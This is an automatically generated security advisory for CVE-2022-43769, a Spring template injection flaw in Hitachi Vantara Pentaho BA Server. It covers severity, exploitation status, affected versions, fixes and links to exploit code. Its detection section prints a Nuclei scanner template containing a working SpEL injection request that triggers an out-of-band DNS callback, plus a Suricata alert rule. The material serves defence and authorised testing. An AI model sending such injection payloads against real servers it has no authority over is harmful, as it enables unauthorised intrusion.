CVE-2022-43769: Hitachi Vantara Pentaho BA Server Special Element Injection Vulnerability
Advisory generated from the CVE record, CISA, Exploit Observer and VEDAS: what it is, whether it is exploited, who is affected, and how to fix and detect it.
Generated by VEDAS. Scores as of 2026-11-01 19:19 UTC. Rebuilt every few hours from cve-scores, CISA KEV and vedas-signatures. How this works and its limits.
What it is
Hitachi Vantara Pentaho Business Analytics Server prior to versions 9.4.0.1 and 9.3.0.2, including 8.3.x allow certain web services to set property values which contain Spring templates that are interpreted downstream.
Description quoted from the CVE record (assigned by HITVAN, published 2023-04-03).
Weakness: CWE-74 Improper Neutralization of Special Elements in Output Used by a Downstream Component (‘Injection’)
How it can be exploited
Exploitable over the network with low attack complexity needing low privileges and no user interaction. Impact: confidentiality high, integrity high, availability high. CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
CISA assessment (SSVC): CISA assesses exploitation as active. Automatable: no. Technical impact: total.
- On CISA KEV since
- 2025-03-03
- US federal deadline
- 2025-03-24
- Ransomware use
- Not known
Public exploit evidence (Exploit Observer)
Also known as: BDU:2023-01817, CNNVD-202304-089, EDB-51350, EUVD-2022-46739, GHSA-wc6x-gmp9-8p34
VEDAS cluster: VEDAS:BURNINGBETA
Exploit Observer links 7 pieces of public exploit code or detection modules that name this CVE or one of its aliases.
Exploit code and modules (7)
Code that names this CVE. A repository can be a working exploit, a scanner, a fake or malware; read it before running anything.
- Exploit-DB: https://www.exploit-db.com/raw/51350
- Nuclei template: https://raw.githubusercontent.com/projectdiscovery/nuclei-templates/main/http/cves/2022/CVE-2022-43769.yaml
- Code repository: https://raw.githubusercontent.com/ARPSyndicate/vedas-signatures/main/nuclei/2022/CVE-2022-43769.yaml
- Code repository: https://raw.githubusercontent.com/ARPSyndicate/vedas-signatures/main/nuclei/2022/CVE-2022-43769.yaml
- Code repository: https://raw.githubusercontent.com/ARPSyndicate/vedas-signatures/main/suricata/2022/CVE-2022-43769.rules
- Code repository: https://raw.githubusercontent.com/ARPSyndicate/vedas-signatures/main/suricata/2022/CVE-2022-43769.rules
- Code repository: https://raw.githubusercontent.com/ARPSyndicate/vedas-signatures/main/suricata/2022/CVE-2022-43769.rules
Research and write-ups (2)
- Research or write-up: https://support.pentaho.com/hc/en-us/articles/14455561548301--Resolved-Pentaho-BA-Server-Failure-to-Sanitize-Special-Elements-into-a-Different-Plane-Special-Element-Injection-Versions-before-9-4-0-1-and-9-3-0-2-including-8-3-x-Impacted-CVE-2022-43769
- Research or write-up: https://support.pentaho.com/hc/en-us/articles/14455561548301--Resolved-Pentaho-BA-Server-Failure-to-Sanitize-Special-Elements-into-a-Different-Plane-Special-Element-Injection-Versions-before-9-4-0-1-and-9-3-0-2-including-8-3-x-Impacted-CVE-2022-43769-
Vulnerability databases and vendor advisories (6)
Catalogue entries, not exploit evidence.
- Vulnerability database or vendor advisory: https://access.redhat.com/security/cve/cve-2022-43769
- Vulnerability database or vendor advisory: https://euvd.enisa.europa.eu/enisa/EUVD-2022-46739
- Vulnerability database or vendor advisory: https://github.com/advisories/GHSA-wc6x-gmp9-8p34
- Vulnerability database or vendor advisory: https://nvd.nist.gov/vuln/detail/CVE-2022-43769
- Vulnerability database or vendor advisory: https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2022-43769
- Vulnerability database or vendor advisory: https://www.cnnvd.org.cn/home/globalSearch?keyword=CNNVD-202304-089
22 more references returned by Exploit Observer did not name this CVE or an alias, so they are left out.
VEDAS data as of 2026-11-01T17:12 UTC; fetched 2026-11-02.
Live scores
- EPSS
- 0.977
very likely to be attacked soon - VEDAS
- 0.987
strong exploit evidence - On CISA KEV
- Yes, since 2025-03-03
Thin horizontal line: the “likely” (EPSS 0.10) or “strong” (VEDAS 0.90) threshold. Shaded “no data” areas are periods when cve-scores did not publish.
Who is affected
| Product | Affected | Not affected |
|---|---|---|
| Hitachi Vantara Pentaho Business Analytics Server | from 1.0 before 9.3.0.2 from 9.4.0.0 before 9.4.0.1 | Not stated |
Version ranges exactly as the CVE record states them. “Before X” means X is the first fixed version.
Exploit Observer also maps it to: hitachi vantara_pentaho_business_analytics_server, hitachi,_ltd. hitachi_vantara_pentaho_business_analytics_server.
How to fix it
Fixed versions stated in the CVE record: 9.3.0.2, 9.4.0.1.
CISA required action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.
Vendor guidance:
- https://support.pentaho.com/hc/en-us/articles/14455561548301--Resolved-Pentaho-BA-Server-Failure-to-Sanitize-Special-Elements-into-a-Different-Plane-Special-Element-Injection-Versions-before-9-4-0-1-and-9-3-0-2-including-8-3-x-Impacted-CVE-2022-43769
- https://nvd.nist.gov/vuln/detail/CVE-2022-43769
How to detect it
Nuclei template (active check)
Hitachi Vantara Pentaho Business Analytics - Code Injection
Hitachi Vantara Pentaho Business Analytics Server prior to versions 9.4.0.1 and 9.3.0.2, including 8.3.x allow certain web services to set property values which contain Spring templates that are interpreted downstream.
Name and description quoted from the template, written by VEDAS.
The template sends 1 request (GET /pentaho/api/ldap/config/ldapTreeNodeChildren/require.js?url=%23{T(...); it confirms through an out-of-band callback (interactsh), so the scanner must be able to receive it; it decides using word matchers. Severity in the template: high. Marked as not yet verified against a live vulnerable target.
Run it against a host you own or are authorised to test:
nuclei -u https://your-host -t CVE-2022-43769.yamlShow the template (41 lines)
id: CVE-2022-43769
info:
name: "Hitachi Vantara Pentaho Business Analytics - Code Injection"
author: vedas-arpsyndicate
severity: high
description: |
Hitachi Vantara Pentaho Business Analytics Server prior to versions 9.4.0.1 and 9.3.0.2, including 8.3.x allow
certain web services to set property values which contain Spring templates that are interpreted downstream.
reference:
- https://www.exploit.observer/?keyword=CVE-2022-43769&match=exact
- https://subdomain.center/?engine=ammonites&keyword=pentaho&match=exact
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
cvss-score: 7.2
cve-id: CVE-2022-43769
cwe-id: CWE-94,CWE-74
metadata:
verified: false
tags: cve,cve2022,packetstorm,rce,pentaho,hitachi,kev,vkev,vuln
http:
- method: GET
path:
- "{{BaseURL}}/pentaho/api/ldap/config/ldapTreeNodeChildren/require.js?url=%23{T(java.net.InetAddress).getByName('{{interactsh-url}}')}&mgrDn=a&pwd=a"
matchers-condition: and
matchers:
- type: word
part: interactsh_protocol # Confirms the DNS Interaction
words:
- "dns"
- type: word
part: body
words:
- "false"
- type: word
part: header
words:
- "application/json"
Suricata rules (network detection)
1 rule that alert on traffic matching this exploit: VEDAS CVE-2022-43769 Hitachi Vantara Pentaho Business Analytics - Code Injection. Add them to your Suricata rule set and reload.
Show the rules
alert http $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"VEDAS CVE-2022-43769 Hitachi Vantara Pentaho Business Analytics - Code Injection"; flow:established,to_server; http.uri; content:"ldapTreeNodeChildren"; nocase; content:"')"; nocase; fast_pattern; classtype:web-application-attack; reference:cve,CVE-2022-43769; reference:url,https://www.exploit.observer/?keyword=CVE-2022-43769&match=exact; reference:url,https://subdomain.center/?engine=ammonites&keyword=pentaho&match=exact; sid:1008865; rev:1;)
CVE-2022-43769.rules on GitHub
References
Government sources
- https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2022-43769 (government-resource)
Other references
- https://support.pentaho.com/hc/en-us/articles/14455561548301--Resolved-Pentaho-BA-Server-Failure-to-Sanitize-Special-Elements-into-a-Different-Plane-Special-Element-Injection-Versions-before-9-4-0-1-and-9-3-0-2-including-8-3-x-Impacted-CVE-2022-43769-
- http://packetstormsecurity.com/files/172296/Pentaho-Business-Server-Authentication-Bypass-SSTI-Code-Execution.html
Other databases
Where this comes from
This advisory is generated automatically by VEDAS from: CVE.org record, CISA KEV, cve-scores (EPSS and VEDAS), Exploit Observer, vedas-signatures. Text in quotes is reproduced from the source; everything else is a fixed template filled with source fields. Nothing here is written by a language model. Check the vendor advisory before acting, and read how VEDAS and Exploit Observer work, and their limits.